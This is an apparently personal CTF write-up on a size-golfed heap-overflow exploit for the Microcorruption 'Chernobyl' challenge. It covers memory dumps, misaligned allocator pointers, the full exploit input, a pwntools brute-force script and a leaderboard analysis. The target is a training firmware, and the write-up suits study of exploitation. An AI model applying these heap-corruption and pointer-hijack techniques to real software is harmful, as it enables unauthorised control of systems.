ffc0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffd0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffe0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
fff0: 4444 4444 4444 4444 4444 4444 4444 0044 DDDDDDDDDDDDDD.D
All these words are high value and even, so aiming the forward pointer into the middle of the structure will cause the algorithm to interpret one of them as the next chunk's size. The malloc function will then allocate from that fake "next chunk", avoiding the heap exhaustion error. Suppose the forward pointer is 0xff86. The fake chunk metadata will be here:
ff80: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ff90: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffa0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffb0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffc0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffd0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffe0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
fff0: 4444 4444 4444 4444 4444 4444 4444 0044 DDDDDDDDDDDDDD.D
The ability to choose from more forward pointers reduces the search constraints. This forward pointer hashes to bucket zero.
>>> overflow = b'e63d' + b'86ff'
... if hash_username(overflow) % 8 == 0:
... print(overflow)
b'e63da6ff'The exploit is then as follows.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d86ff
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00704d7f
Allocations That Overflow The End Of The Address Space
Running this exploit results in the following error.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account = with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Heap exausted; aborting.
Breaking at the start of malloc reveals that the first few allocations succeed. The issue is that this data structure is at the end of memory, so, eventually, the heap will wrap around to address 0x0000.
ff80: 4444 4444 4444 4444 acff 4100 d8ff 4444 DDDDDDDD..A...DD
ff90: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffa0: 4444 4444 4444 4444 4444 4444 86ff d2ff DDDDDDDDDDDD....
ffb0: 4100 0000 4444 4444 4444 4444 4444 4444 A...DDDDDDDDDDDD
ffc0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffd0: 4444 acff 3200 b500 4444 4444 4444 4444 DD..2...DDDDDDDD
ffe0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
fff0: 4444 4444 4444 4444 4444 4444 4444 0044 DDDDDDDDDDDDDD.D
0000: 0000 4400 0000 0000 0000 0000 0000 0000 ..D.............
0010: 3041 0000 0000 0000 0000 0000 0000 0000 0A..............
0020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0030: 0000 d2ff 4444 ec42 0000 0000 0000 0000 ....DD.B........
0040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
This phenomenon causes the next chunk to be lower than the start of the heap at address 0x5000, triggering the error.
Misaligning Forward Pointers
Again, the first few allocations from the fake wilderness chunk succeed. The only issue is that the data structure is at the top of the address space, which necessitates finding a different one low enough in memory to avoid causing an integer overflow upon allocation. These are the viable candidates.
5000: 0050 1050 1500 0000 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0000 0000 "R.R.R.P<P!.....
5030: 0000 0000 0000 0000 0000 0000 2650 9c50 ............&P.P
5040: b500 0000 0000 0000 0000 0000 0000 0000 ................
5050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5060: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 0000 0000 0000 0000 0000 0000 0000 ................
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 0000 0000 0000 0000 0000 0000 0000 ................
5110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5120: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 0000 0000 0000 0000 0000 0000 0000 ................
5170: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5180: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 0000 0000 0000 0000 0000 0000 0000 ................
51d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51e0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 0000 0000 0000 0000 0000 0000 0000 ................
5230: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5240: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 0000 0000 0000 0000 0000 0000 0000 ................
5290: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52a0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 0000 0000 0000 0000 0000 0000 0000 ................
52f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5300: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
ff80: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ff90: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffa0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffb0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffc0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffd0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffe0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
fff0: 4444 4444 4444 4444 4444 4444 4444 0044 DDDDDDDDDDDDDD.D
The options are sparse, with the targets being the metadata for other heap chunks. Until now, the forward pointer has been aimed at the first word of each metadata header—as the algorithm expects. This approach is not the only option, however. Consider the next heap chunk, for example.
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 0000 0000 0000 0000 0000 0000 0000 ................
5110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5120: *
The forward pointer typically points to the first of these three words, and the size is at a fixed offset two words higher in memory.
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 0000 0000 0000 0000 0000 0000 0000 ................
5110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5120: *
Suppose the forward pointer is aimed just before the metadata for the next chunk.
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 0000 0000 0000 0000 0000 0000 0000 ................
5110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5120: *
Relative to this word, the size field would be at a fixed offset two words higher in memory.
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 0000 0000 0000 0000 0000 0000 0000 ................
5110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5120: *
It is possible to misalign the overflowed forward pointer so that the algorithm interprets the forward pointer for the next chunk as the size. This word is both high value and even, which fulfills the requirements for allocation. As a result, there are effectively eight more valid forward pointers.
Attempt #1:
Setting 0xfa50 as the forward pointer should theoretically work.
>>> overflow = b'e63d' + b'fa50' ... if hash_username(overflow) % 8 == 0: ... print(overflow) >>>
Unfortunately, this does not hash to bucket zero. In this case, there is also the possibility of doing a partial overflow.
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 0000 0000 0000 0000 0000 0000 0000 ................
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
Only the least significant byte of the forward pointer requires alteration to aim it at address 0x50fa.
>>> overflow = b'e63d' + b'fa'
... if hash_username(overflow) % 8 == 0:
... print(overflow)
>>>
Unfortunately, this one does not hash to bucket zero either. The failure of this attempt is a shame because it would have shrunk the exploit size to fifty-eight bytes and beat the world record.
Attempt #2:
It is also possible to misalign the forward pointer so that the algorithm interprets the back pointer for the next chunk as the size.
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 0000 0000 0000 0000 0000 0000 0000 ................
5110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5120: *
This approach provides an additional eight valid forward pointers. The new forward pointer search is as follows.
>>> overflow = b'e63d' + b'f850'
... if hash_username(overflow) % 8 == 0:
... print(overflow)
>>>
This pointer still does not have the correct hash. Like the previous case, it is once again possible to do a partial overwrite.
>>> overflow = b'e63d' + b'f8'
... if hash_username(overflow) % 8 == 0:
... print(overflow)
>>>
This partial overflow does not have the correct hash either. It is possible to automate this search, but that would be excessive considering that there are under two dozen possibilities.
Attempt #3:
Below is the chunk containing hash bucket #3. The corrupted forward pointer is misaligned as follows.
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 0000 0000 0000 0000 0000 0000 0000 ................
5170: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5180: *
The result:
>>> overflow = b'e63d' + b'5851'
... if hash_username(overflow) % 8 == 0:
... print(overflow)
b'e63d5851'
>>>
The final world record exploit is as follows.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d5851
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00704d7f
Razing The Heap For Fun And Profit
When malloc attempts to allocate space for the new table, it will traverse the forward pointers in the linked list to find a large enough free chunk. The deliberately misaligned forward pointer will cause it to cannibalize the metadata for a chunk in the middle of the existing hash table, creating a series of new chunks partially overlapping the old ones.
5000: 0050 1050 1500 0000 0400 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0700 0000 "R.R.R.P<P!.....
5030: 0000 0100 0100 0100 0100 0000 2650 9c50 ............&P.P
5040: b500 f000 0000 0000 0000 0000 0000 0000 ................
5050: 0000 0000 e000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 d000 0000 0000 0000 0000 ................
5070: 0000 0000 0000 0000 c000 0000 0000 0000 ................
5080: 0000 0000 0000 0000 0000 b000 0000 0000 ................
5090: 0000 0000 0000 0000 0000 0000 e63d 5851 .............=XQ
50a0: b500 0000 0000 0000 0000 0000 0000 0000 ................
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 0000 0000 0000 0000 0000 0000 0000 ................
5110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5120: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 dd00 0000 0000 0000 0000 0000 0000 ................
5170: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5180: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 cc00 0000 0000 0000 0000 0000 0000 ................
51d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51e0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 bb00 0000 0000 0000 0000 0000 0000 ................
5230: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5240: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 aa00 0000 0000 0000 0000 0000 0000 ................
5290: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52a0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 0000 0000 0000 0000 0000 0000 0000 ................
52f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5300: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
5000: 0050 1050 1500 0700 0400 0500 5e51 8451 .P.P........^Q.Q
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0700 0000 "R.R.R.P<P!.....
5030: 0000 0100 0100 0100 0100 0000 2650 9c50 ............&P.P
5040: b500 f000 0000 0000 0000 0000 0000 0000 ................
5050: 0000 0000 e000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 d000 0000 0000 0000 0000 ................
5070: 0000 0000 0000 0000 c000 0000 0000 0000 ................
5080: 0000 0000 0000 0000 0000 b000 0000 0000 ................
5090: 0000 0000 0000 0000 0000 0000 e63d 5851 .............=XQ
50a0: b500 0000 0000 0000 0000 0000 0000 0000 ................
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 0000 0000 0000 0000 0000 0000 0000 ................
5110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5120: *
5150: 0000 0000 0000 0000 0000 7e51 4100 aa51 ..........~QA..Q
5160: 0a52 6a52 ca52 2a53 8a53 ea53 4a54 aa54 .RjR.R*S.S.SJT.T
5170: 0a55 6a55 ca55 2a56 8a56 ea56 4a57 5851 .UjU.U*V.V.VJWXQ
5180: a451 4100 0600 0000 0000 0000 0000 0000 .QA.............
5190: 0000 0000 0000 0000 0000 0100 0000 0000 ................
51a0: 0000 0000 7e51 0452 b500 f000 0000 0000 ....~Q.R........
51b0: 0000 0000 0000 0000 0000 0000 e051 1c52 .............Q.R
51c0: b500 cc00 0000 0000 0000 0000 0000 d000 ................
51d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51e0: c000 0000 0000 0000 0000 0000 0000 0000 ................
51f0: 0000 b000 0000 0000 0000 0000 0000 0000 ................
5200: 0000 0000 a451 6452 b500 0000 0000 0000 .....QdR........
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 bb00 0000 0000 0000 0000 0000 0000 ................
5230: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5240: *
5260: 0000 0000 0452 c452 b500 0000 0000 0000 .....R.R........
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 aa00 0000 0000 0000 0000 0000 0000 ................
5290: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52a0: *
52c0: 0000 0000 6452 2453 b500 0000 0000 0000 ....dR$S........
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 0000 0000 0000 0000 0000 0000 0000 ................
52f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5300: *
5320: 0000 0000 c452 8453 b500 0000 0000 0000 .....R.S........
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
5380: 0000 0000 2453 e453 b500 0000 0000 0000 ....$S.S........
5390: 0000 0000 0000 0000 0000 0000 0000 0000 ................
53a0: *
53e0: 0000 0000 8453 4454 b500 0000 0000 0000 .....SDT........
53f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5400: *
5440: 0000 0000 e453 a454 b500 0000 0000 0000 .....S.T........
5450: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5460: *
54a0: 0000 0000 4454 0455 b500 0000 0000 0000 ....DT.U........
54b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
54c0: *
5500: 0000 0000 a454 6455 b500 0000 0000 0000 .....TdU........
5510: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5520: *
5560: 0000 0000 0455 c455 b500 0000 0000 0000 .....U.U........
5570: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5580: *
55c0: 0000 0000 6455 2456 b500 e63d 5851 b500 ....dU$V...=XQ..
55d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
55e0: *
5620: 0000 0000 c455 8456 b500 0000 0000 0000 .....U.V........
5630: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5640: *
5680: 0000 0000 2456 e456 b500 0000 0000 0000 ....$V.V........
5690: 0000 0000 0000 0000 0000 0000 0000 0000 ................
56a0: *
56e0: 0000 0000 8456 4457 b500 0000 0000 0000 .....VDW........
56f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5700: *
5740: 0000 0000 e456 a457 b500 0000 0000 0000 .....V.W........
5750: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5760: *
57a0: 0000 0000 4457 0000 6444 0000 0000 0000 ....DW..dD......
57b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
57c0: *
By yet another miracle, this does not derail execution during the subsequent free calls. The data in the overlapping chunks is sparse enough not to overwrite any structure that will break the exploit. The unlock interrupt triggers successfully.
If you were not connected to the debug lock, the door would now be open.
Try running "solve" in the debug console to see if this solution works without the debugger attached.
The CPU completed in 225202 cycles.
The final length of the exploit is 59 bytes.
>>> get_size("exploit.txt")
59One In Ten Thousand
As of July 2022, two known copies of this exploit exist on Earth.
| Position | Username | Exploit Size (Bytes) |
|---|---|---|
1st |
ThatsMe |
59 |
2nd |
b9ek |
59 |
As of May 2022, there were 86,487 users on the leaderboard.
Concerning The Calculation Of Rankings
The first "challenge" in the series, with 51,203 solves, is a guided tutorial. The second one, with 29,872 solves, involves extracting a hard-coded plaintext password by analyzing defined strings in the firmware. Given that the latter is the first one that requires even a modicum of technical skill, it is fair to say that it is the first "real" challenge in the series.
These challenges were hosted as a CTF and remained online for eight years afterward. The early contestants were highly motivated to finish the entire set quickly, but a certain amount of "motivational drift" probably occurred over the years, resulting in relatively more people quitting partway through. This trend skewed the numbers over time and is a bias for which to account.
Conservative Numbers
Properly speaking, there were 29,872 contenders. In May 2022, the top 2.6% of them had completed Chernobyl. The following is the earliest leaderboard data available, preserved as a snapshot on the Wayback Machine in April 2016.
At that point, writing a working exploit for Chernobyl put someone in the top 3.95% of the earlier, ostensibly more driven population. Projecting forward: if 788 people wrote Chernobyl exploits as of May 2022, and those people are assumed to constitute 3.95% of the significant competition, that implies there are 19,922 serious competitors. If two 59-byte Chernobyl exploits exist, each progenitor is 1 in 9,961.
Outside Corroboration
The Microcorruption input size leaderboards are no longer available due to a backend change that removed them in May 2022. If anyone from NCC Group is reading this, yours truly would appreciate a public archive of the historical challenge leaderboard data. There are no Wayback Machine snapshots from before this due to authentication requirements to view the pages. However, outside sources support the conclusion that only a minuscule population authored exploits of this length.
Looking at the hall of fame, the minimum input required is only 60 bytes!
— Zijun Hui, 2019
The above excerpt is from a blog post pushed to Github.io in February 2019. It is reasonable to suspect, between early 2019 and mid-2022, that a handful of people might have beaten the sixty-byte record. In reality, two such instances exist—of which this is the second.
Going For Broke: Fifty-Eight Bytes
The following section is nonessential. In short, the 59-byte exploit works by pure coincidence. The creation of an exploit any more constrained verges on impossible. A few approaches, taken by yours truly, nonetheless sought to achieve as much.
The avenues considered were as follows.
- Fool the implementation into adding a second null account, shortening the exploit by four bytes.
- Use a random write to corrupt an integer array tracking username counts for each bucket, causing
rehashto run until heap exhaustion—a strategy that theoretically could have achieved multiple writes, albeit less accurate ones. - Assume a three-byte overflow exists that can coincidentally trigger the unlock interrupt and automate the process of brute-forcing the possible execution paths.
Details are omitted for brevity, as none of these approaches ultimately resulted in a viable exploit. The code and setup intstuctions for the custom tool used to bruteforce execution paths can be found below.
Bruteforcing Execution Paths
There are only three bytes of search space, and the firmware is entirely deterministic. Even with a slow emulator, there are only 16,777,216 possible execution paths. The code will brute-force all possible combinations for these bytes.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000??????
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00704d7f
A C-based third-party emulator executes the firmware, and a pwntools script wraps it. The environment setup is as follows on a Debian system.
sudo apt update
sudo apt install build-essential libglib2.0-0 libglib2.0-dev python3-pip
sudo pip3 install pwntools
git clone --depth 1 https://github.com/cemeyer/msp430-emu-uctf
cd ./msp430-emu-uctf/
make
cd ..
The source code for the script to perform the brute-force is below.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from hash_username import hash_username
context.update(arch='msp430')
# Path for emulator
exe = './msp430-emu-uctf/msp430-emu'
gdbscript = '''
continue
'''.format(**locals())
# Padding for heap overflow
stage1 = [
'6e000000f0',
'6e000000e0',
'6e000000d0',
'6e000000c0',
'6e000000b0'
]
# Rehash accounts and ROP chain
stage3 = [
'6e000000aa',
'6e000000bb',
'6e000000cc',
'6e000000dd',
'6e',
'6e00704d7f'
]
def start(argv=['./chernobyl.bin'], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def send_stage(stage, io):
for line in stage:
try:
io.recvuntil(("Gets (':'-prefix for hex)> ").encode('utf-8'), timeout=2)
except EOFError:
print("EOFError!")
exit()
io.sendline((':' + line).encode('utf-8'))
return io
def run_exploit(overflow_command):
raw_overflow_command = overflow_command
overflow_command = [overflow_command]
io = start()
io = send_stage(stage1, io)
io = send_stage(overflow_command, io)
io = send_stage(stage3, io)
io.recvline(timeout=2)
result = io.recv(2**16, timeout=0.25)
io.close()
io.kill()
print(result)
if result.find(b'The lock opens; you win!') != -1:
return True
else:
return False
def generate_bk(func):
def craft_bk(addr_range, *args):
for address in range(addr_range[0], addr_range[1]+1, 2):
# Swap endianness for address to be sent as back pointer
address_str = format(address, '04x')
bk = address_str[2:4] + address_str[0:2]
func(bk, *args)
return craft_bk
def check_and_run(overflow):
if hash_username(overflow.encode()) % 8 == 0:
status = run_exploit('6e000000' + overflow)
if status == True:
with open('candidates.txt', 'a') as f:
f.write(overflow + '\n')
@generate_bk
def overflow_short(bk):
print(bk)
check_and_run(bk)
@generate_bk
def overflow_long(bk, fd_range):
for fd_byte in range(fd_range["Min"], fd_range["Max"], 2):
overflow = bk + format(fd_byte, '02x')
print(overflow)
check_and_run(overflow)
def bruteforce():
memory_ranges = [
(0x0000, 0x0030),
(0x0150, 0x0170),
(0x2400, 0x2420),
(0x3d00, 0x3e00),
(0x4300, 0x5400),
(0xff00, 0xffff)
]
fd_range = {"Min": int('EA', 16), "Max": int('FF', 16)}
for i in memory_ranges:
overflow_short(i)
for i in memory_ranges:
overflow_long(i, fd_range)
Narrowing The Search Space
Astute readers may notice that the above code does not search all the 1.67 million possible execution paths. This choice is not worth dissecting, but suffice it to say that certain a priori constraints reduce the number of paths.
Invoke the bruteforce function as follows.
$ python3 -i bruteforce.py
>>> bruteforce()
Conclusion
Barring a significant breakthrough in understanding, crafting a 58-byte exploit and beating the record seems impossible. It is possible to continue to optimize using more advanced techniques like memory snapshots or symbolic execution, but this would require more advanced tooling. As it stands, this may be the limit of what any sane individual can accomplish.
Leaderboard Meta Code Golf
While it may or may not be possible to beat the record, a different kind of world first is within reach.
There are only a few bytes that are critical to the functioning of this exploit.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d5851
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00704d7f
Everything else is replaceable with arbitrary values.
Symbolism
It is possible to insert arbitrary values for the trailing rehash account usernames. It is impossible to encode "1337" because of the repeating threes—due to their treatment as duplicate accounts—but "0539" is feasible.
>>> binascii.hexlify(b"0539")
b'30353339'6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d5851
6e00000030
6e00000035
6e00000033
6e00000039
6e
6e00704d7f
It is also possible to fit a short pseudonym or handle with some rearranging.
>>> binascii.hexlify(b"Every")
b'4576657279'
6e
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000e63d5851
6e00000045
6e00000076
6e00000065
6e00000072
6e00000079
6e00704d7f
This Exploit Links Its Own Writeup
The firmware only parses the first character of each command, allowing the substitution of nulls in place of the middle bytes. Given a sufficiently short URL, it is possible to embed a link to this writeup in the middle of the exploit without breaking it.
>>> binascii.hexlify(b"is.gd/muzap")
b'69732e67642f6d757a6170'
>>>6e
6e006900f0
6e007300e0
6e002e00d0
6e006700c0
6e006400e63d5851
6e002f0045
6e006d0076
6e00750065
6e007a0072
6e00610079
6e00704d7f
The last character in the short link URL is the same as the least significant byte of the payload ROP gadget address—coincidentally, a printable alphanumeric. This hack allows the URL to overlap the gadget.
A Different Kind Of Record
As long as the data is small enough, it is possible to use the above techniques to encode arbitrary information. A short email address could theoretically fit. Or a Signal username.
We choose to go to the Moon in this decade and do the other things, not because they are easy, but because they are hard; because that goal will serve to organize and measure the best of our energies and skills, because that challenge is one that we are willing to accept, one we are unwilling to postpone, and one we intend to win.
— John F. Kennedy
6e
6e000000f0
6e006a00e0
6e006100d0
6e006d00c0
6e006500e63d5851
6e00730045
6e002e0076
6e00350065
6e00390072
6e00000079
6e002e4d7f
While beating the record outright would have been preferable, there is still something to show for the effort. There is exactly one copy of this exploit on Earth.